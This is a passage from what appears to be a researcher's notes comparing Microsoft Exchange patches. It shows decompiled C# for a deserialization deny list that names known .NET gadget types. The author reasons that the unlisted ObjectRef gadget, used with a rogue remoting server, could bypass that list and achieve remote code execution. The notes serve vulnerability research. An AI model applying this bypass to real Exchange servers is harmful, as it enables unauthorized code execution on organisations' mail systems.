\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (type == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0IEnumerable<Assembly> source = assemblies.Where((Assembly x) => shortName == x.FullName.Split(',')[0]); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Assembly assembly = (source.Any() ? source.First() : null); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (assembly != null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0type = assembly.GetType(typeName); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Assembly[] array = assemblies; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0foreach (Assembly assembly2 in array) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0type = assembly2.GetType(typeName); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!(type != null)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0continue; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return type; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return type; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0protected virtual void InternalBindToName(Type serializedType, out string assemblyName, out string typeName) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0assemblyName = null; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0typeName = null; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0protected void ValidateTypeToDeserialize(Type typeToDeserialize) \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (typeToDeserialize == null) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0string fullName = typeToDeserialize.FullName; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0bool flag = strictMode; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0try \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!strictMode && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName)) && GlobalDisallowedTypesForDeserialization.Contains(fullName)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0flag = true; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new InvalidOperationException($\"Type {fullName} failed deserialization (BlockList).\"); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (typeToDeserialize.IsConstructedGenericType) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0fullName = typeToDeserialize.GetGenericTypeDefinition().FullName; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (allowedGenericsForDeserialization == null || !allowedGenericsForDeserialization.Contains(fullName) || GlobalDisallowedGenericsForDeserialization.Contains(fullName)) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else if (!AlwaysAllowedPrimitives.Contains(fullName) && (allowedTypesForDeserialization == null || !allowedTypesForDeserialization.Contains(fullName) || GlobalDisallowedTypesForDeserialization.Contains(fullName)) && !typeToDeserialize.IsArray && !typeToDeserialize.IsEnum && !typeToDeserialize.IsAbstract && !typeToDeserialize.IsInterface) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw new BlockedDeserializeTypeException(fullName, BlockedDeserializeTypeException.BlockReason.NotInAllow, location); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0catch (BlockedDeserializeTypeException ex) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0DeserializationTypeLogger.Singleton.Log(ex.TypeName, ex.Reason, location, (flag || strictMode) ? DeserializationTypeLogger.BlockStatus.TrulyBlocked : DeserializationTypeLogger.BlockStatus.WouldBeBlocked); \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (flag) \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0throw; \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0private static HashSet<string> BuildDisallowedGenerics() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string> { typeof(SortedSet<>).GetGenericTypeDefinition().FullName }; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0private static HashSet<string> BuildDisallowedTypesForDeserialization() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.Data.Schema.SchemaModel.ModelStore\", \"Microsoft.FailoverClusters.NotificationViewer.ConfigStore\", \"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity\", \"Microsoft.Management.UI.Internal.FilterRuleExtensions\", \"Microsoft.Management.UI.FilterRuleExtensions\", \"Microsoft.Reporting.RdlCompile.ReadStateFile\", \"Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope\", \"Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource\", \"Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore\", \"Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization\", \"Microsoft.VisualStudio.Publish.BaseProvider.Util\", \"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\", \"Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache\", \"Microsoft.Web.Design.Remote.ProxyObject\", \"System.Activities.Presentation.WorkflowDesigner\", \"System.AddIn.Hosting.AddInStore\", \"System.AddIn.Hosting.Utils\", \"System.CodeDom.Compiler.TempFileCollection\", \"System.Collections.Hashtable\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.ComponentModel.Design.DesigntimeLicenseContextSerializer\", \"System.Configuration.Install.AssemblyInstaller\", \"System.Configuration.SettingsPropertyValue\", \"System.Data.DataSet\", \"System.Data.DataViewManager\", \"System.Data.Design.MethodSignatureGenerator\", \"System.Data.Design.TypedDataSetGenerator\", \"System.Data.Design.TypedDataSetSchemaImporterExtension\", \"System.Data.SerializationFormat\", \"System.DelegateSerializationHolder\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Drawing.Design.ToolboxItemContainer\", \"System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer\", \"System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler\", \"System.IdentityModel.Tokens.SessionSecurityToken\", \"System.IdentityModel.Tokens.SessionSecurityTokenHandler\", \"System.IO.FileSystemInfo\", \"System.Management.Automation.PSObject\", \"System.Management.IWbemClassObjectFreeThreaded\", \"System.Messaging.BinaryMessageFormatter\", \"System.Resources.ResourceReader\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Resources.ResXResourceSet\", \"System.Runtime.Remoting.Channels.BinaryClientFormatterSink\", \"System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.BinaryServerFormatterSink\", \"System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.CrossAppDomainSerializer\", \"System.Runtime.Remoting.Channels.SoapClientFormatterSink\", \"System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.SoapServerFormatterSink\", \"System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\", \"System.Runtime.Serialization.Formatters.Soap.SoapFormatter\", \"System.Runtime.Serialization.NetDataContractSerializer\", \"System.Security.Claims.ClaimsIdentity\", \"System.Security.Claims.ClaimsPrincipal\", \"System.Security.Principal.WindowsIdentity\", \"System.Security.Principal.WindowsPrincipal\", \"System.Security.SecurityException\", \"System.Web.Security.RolePrincipal\", \"System.Web.Script.Serialization.JavaScriptSerializer\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Web.Script.Serialization.SimpleTypeResolver\", \"System.Web.UI.LosFormatter\", \"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem\", \"System.Web.UI.ObjectStateFormatter\", \"System.Windows.Data.ObjectDataProvider\", \"System.Windows.Forms.AxHost+State\", \"System.Windows.ResourceDictionary\", \"System.Workflow.ComponentModel.Activity\", \"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector\", \"System.Xml.XmlDataDocument\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Xml.XmlDocument\" \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}; \n \u00a0\u00a0\u00a0\u00a0} \n \n \u00a0\u00a0\u00a0\u00a0private static HashSet<string> BuildGlobalDisallowedGenericsForDeserialization() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string>(); \n \u00a0\u00a0\u00a0\u00a0} \n }\n \n\n**Interesting to note that this doesn\u2019t seem to contain the entries for `System.Runtime.Remoting.ObjectRef`** which was a new gadget chain just added with <https://github.com/pwntester/ysoserial.net/pull/115> that relies on a rouge .NET remoting server like <https://github.com/codewhitesec/RogueRemotingServer>. There is a writeup on this at <https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html> that explains more but this would allow RCE via a serialized payload attached to the rouge .NET remoting server.\n\nAnyway so from earlier we know that the strict mode is determined via the line `bool strictModeStatus = Microsoft.Exchange.Data.Serialization.Serialization.GetStrictModeStatus(DeserializeLocation.ExchangeCertificateRpc);` so this provides our other bypass.\n\nLets check if the result of this is `False` or not:\n\nSo from here we can likely supply a `System.Runtime.Remoting.ObjectRef`, take advantage of the lack of strict checking on this, and get the whole exploit to work. The problem now is finding the whole chain to reach this vulnerable call and then trigger the deserialization.\n\n# January 2022 Patch Analysis\n\n * No adjustments to the `ChainedSerializationBinder` deny list at all. \n\n\nHere is the Jan 2022 version of the deny list:\n \n \n \u00a0\u00a0\u00a0\u00a0private static HashSet<string> BuildDisallowedTypesForDeserialization() \n \u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return new HashSet<string> \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0{ \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.Data.Schema.SchemaModel.ModelStore\", \"Microsoft.FailoverClusters.NotificationViewer.ConfigStore\", \"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity\", \"Microsoft.Management.UI.Internal.FilterRuleExtensions\", \"Microsoft.Management.UI.FilterRuleExtensions\", \"Microsoft.Reporting.RdlCompile.ReadStateFile\", \"Microsoft.TeamFoundation.VersionControl.Client.PolicyEnvelope\", \"Microsoft.VisualStudio.DebuggerVisualizers.VisualizerObjectSource\", \"Microsoft.VisualStudio.Editors.PropPageDesigner.PropertyPageSerializationService+PropertyPageSerializationStore\", \"Microsoft.VisualStudio.EnterpriseTools.Shell.ModelingPackage\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"Microsoft.VisualStudio.Modeling.Diagnostics.XmlSerialization\", \"Microsoft.VisualStudio.Publish.BaseProvider.Util\", \"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties\", \"Microsoft.VisualStudio.Web.WebForms.ControlDesignerStateCache\", \"Microsoft.Web.Design.Remote.ProxyObject\", \"System.Activities.Presentation.WorkflowDesigner\", \"System.AddIn.Hosting.AddInStore\", \"System.AddIn.Hosting.Utils\", \"System.CodeDom.Compiler.TempFileCollection\", \"System.Collections.Hashtable\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.ComponentModel.Design.DesigntimeLicenseContextSerializer\", \"System.Configuration.Install.AssemblyInstaller\", \"System.Configuration.SettingsPropertyValue\", \"System.Data.DataSet\", \"System.Data.DataViewManager\", \"System.Data.Design.MethodSignatureGenerator\", \"System.Data.Design.TypedDataSetGenerator\", \"System.Data.Design.TypedDataSetSchemaImporterExtension\", \"System.Data.SerializationFormat\", \"System.DelegateSerializationHolder\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Drawing.Design.ToolboxItemContainer\", \"System.Drawing.Design.ToolboxItemContainer+ToolboxItemSerializer\", \"System.IdentityModel.Services.Tokens.MachineKeySessionSecurityTokenHandler\", \"System.IdentityModel.Tokens.SessionSecurityToken\", \"System.IdentityModel.Tokens.SessionSecurityTokenHandler\", \"System.IO.FileSystemInfo\", \"System.Management.Automation.PSObject\", \"System.Management.IWbemClassObjectFreeThreaded\", \"System.Messaging.BinaryMessageFormatter\", \"System.Resources.ResourceReader\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Resources.ResXResourceSet\", \"System.Runtime.Remoting.Channels.BinaryClientFormatterSink\", \"System.Runtime.Remoting.Channels.BinaryClientFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.BinaryServerFormatterSink\", \"System.Runtime.Remoting.Channels.BinaryServerFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.CrossAppDomainSerializer\", \"System.Runtime.Remoting.Channels.SoapClientFormatterSink\", \"System.Runtime.Remoting.Channels.SoapClientFormatterSinkProvider\", \"System.Runtime.Remoting.Channels.SoapServerFormatterSink\", \"System.Runtime.Remoting.Channels.SoapServerFormatterSinkProvider\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\", \"System.Runtime.Serialization.Formatters.Soap.SoapFormatter\", \"System.Runtime.Serialization.NetDataContractSerializer\", \"System.Security.Claims.ClaimsIdentity\", \"System.Security.Claims.ClaimsPrincipal\", \"System.Security.Principal.WindowsIdentity\", \"System.Security.Principal.WindowsPrincipal\", \"System.Security.SecurityException\", \"System.Web.Security.RolePrincipal\", \"System.Web.Script.Serialization.JavaScriptSerializer\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Web.Script.Serialization.SimpleTypeResolver\", \"System.Web.UI.LosFormatter\", \"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem\", \"System.Web.UI.ObjectStateFormatter\", \"System.Windows.Data.ObjectDataProvider\", \"System.Windows.Forms.AxHost+State\", \"System.Windows.ResourceDictionary\", \"System.Workflow.ComponentModel.Activity\", \"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector\", \"System.Xml.XmlDataDocument\", \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\"System.Xml.XmlDocument\" \n \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}; \n \u00a0\u00a0\u00a0\u00a0}\n \n\nLooking at this in [[Meld]] shows that the deny list for `ChainedSerializationBinder` did not change between November 2021 and January 2022. So we could use `System.Runtime.Remoting.ObjRef` to bypass this deny list, potentially also allowing RCE on the latest version.\n\n * Removed `Microsoft.Exchange.DxStore.Common.DxBinarySerializationUtil` which seemed to have some options for doing unsafe deserialization. \n\n \n \n using System;\n using System.IO;\n using FUSE.Weld.Base;\n using Microsoft.Exchange.Diagnostics;\n using Microsoft.Exchange.DxStore.Server;\n \n namespace Microsoft.Exchange.DxStore.Common;\n \n public static class DxBinarySerializationUtil\n {\n \tprivate static readonly string[] allowedTypes = new string[101]\n \t{\n \t\ttypeof(ExceptionUri).FullName,\n \t\ttypeof(Ranges).FullName,\n \t\ttypeof(Range).FullName,\n \t\ttypeof(Target).FullName,\n \t\ttypeof(CommonSettings).FullName,\n \t\ttypeof(DataStoreStats).FullName,\n \t\ttypeof(DxStoreAccessClientException).FullName,\n \t\ttypeof(DxStoreAccessClientTransientException).FullName,\n \t\ttypeof(DxStoreAccessReply).FullName,\n \t\ttypeof(DxStoreAccessReply.CheckKey).FullName,\n \t\ttypeof(DxStoreAccessReply.DeleteKey).FullName,\n \t\ttypeof(DxStoreAccessReply.DeleteProperty).FullName,\n \t\ttypeof(DxStoreAccessReply.ExecuteBatch).FullName,\n \t\ttypeof(DxStoreAccessReply.GetAllProperties).FullName,\n \t\ttypeof(DxStoreAccessReply.GetProperty).FullName,\n \t\ttypeof(DxStoreAccessReply.GetPropertyNames).FullName,\n \t\ttypeof(DxStoreAccessReply.GetSubkeyNames).FullName,\n \t\ttypeof(DxStoreAccessReply.SetProperty).FullName,\n \t\ttypeof(DxStoreAccessRequest).FullName,\n \t\ttypeof(DxStoreAccessRequest.CheckKey).FullName,\n \t\ttypeof(DxStoreAccessRequest.DeleteKey).FullName,\n \t\ttypeof(DxStoreAccessRequest.DeleteProperty).FullName,\n \t\ttypeof(DxStoreAccessRequest.ExecuteBatch).FullName,\n \t\ttypeof(DxStoreAccessRequest.GetAllProperties).FullName,\n \t\ttypeof(DxStoreAccessRequest.GetProperty).FullName,\n \t\ttypeof(DxStoreAccessRequest.GetPropertyNames).FullName,\n \t\ttypeof(DxStoreAccessRequest.GetSubkeyNames).FullName,\n \t\ttypeof(DxStoreAccessRequest.SetProperty).FullName,\n \t\ttypeof(DxStoreAccessServerTransientException).FullName,\n \t\ttypeof(DxStoreBatchCommand).FullName,\n \t\ttypeof(DxStoreBatchCommand.CreateKey).FullName,\n \t\ttypeof(DxStoreBatchCommand.DeleteKey).FullName,\n \t\ttypeof(DxStoreBatchCommand.DeleteProperty).FullName,\n \t\ttypeof(DxStoreBatchCommand.SetProperty).FullName,\n \t\ttypeof(DxStoreBindingNotSupportedException).FullName,\n \t\ttypeof(DxStoreClientException).FullName,\n \t\ttypeof(DxStoreClientTransientException).FullName,\n \t\ttypeof(DxStoreCommand).FullName,\n \t\ttypeof(DxStoreCommand.ApplySnapshot).FullName,\n \t\ttypeof(DxStoreCommand.CreateKey).FullName,\n \t\ttypeof(DxStoreCommand.DeleteKey).FullName,\n \t\ttypeof(DxStoreCommand.DeleteProperty).FullName,\n \t\ttypeof(DxStoreCommand.DummyCommand).FullName,\n \t\ttypeof(DxStoreCommand.ExecuteBatch).FullName,\n \t\ttypeof(DxStoreCommand.PromoteToLeader).FullName,\n \t\ttypeof(DxStoreCommand.SetProperty).FullName,\n \t\ttypeof(DxStoreCommand.UpdateMembership).FullName,\n \t\ttypeof(DxStoreCommand.VerifyStoreIntegrity).FullName,\n \t\ttypeof(DxStoreCommand.VerifyStoreIntegrity2).FullName,\n \t\ttypeof(DxStoreCommandConstraintFailedException).FullName,\n \t\ttypeof(DxStoreInstanceClientException).FullName,\n \t\ttypeof(DxStoreInstanceClientTransientException).FullName,\n \t\ttypeof(DxStoreInstanceComponentNotInitializedException).FullName,\n \t\ttypeof(DxStoreInstanceKeyNotFoundException).FullName,\n \t\ttypeof(DxStoreInstanceNotReadyException).FullName,\n \t\ttypeof(DxStoreInstanceServerException).FullName,\n \t\ttypeof(DxStoreInstanceServerTransientException).FullName,\n \t\ttypeof(DxStoreInstanceStaleStoreException).FullName,\n \t\ttypeof(DxStoreManagerClientException).FullName,\n \t\ttypeof(DxStoreManagerClientTransientException).FullName,\n \t\ttypeof(DxStoreManagerGroupNotFoundException).FullName,\n \t\ttypeof(DxStoreManagerServerException).FullName,\n \t\ttypeof(DxStoreManagerServerTransientException).FullName,\n \t\ttypeof(DxStoreReplyBase).FullName,\n \t\ttypeof(DxStoreRequestBase).FullName,\n \t\ttypeof(DxStoreSerializeException).FullName,\n \t\ttypeof(DxStoreServerException).FullName,\n \t\ttypeof(DxStoreServerFault).FullName,\n \t\ttypeof(DxStoreServerTransientException).FullName,\n \t\ttypeof(HttpReply).FullName,\n 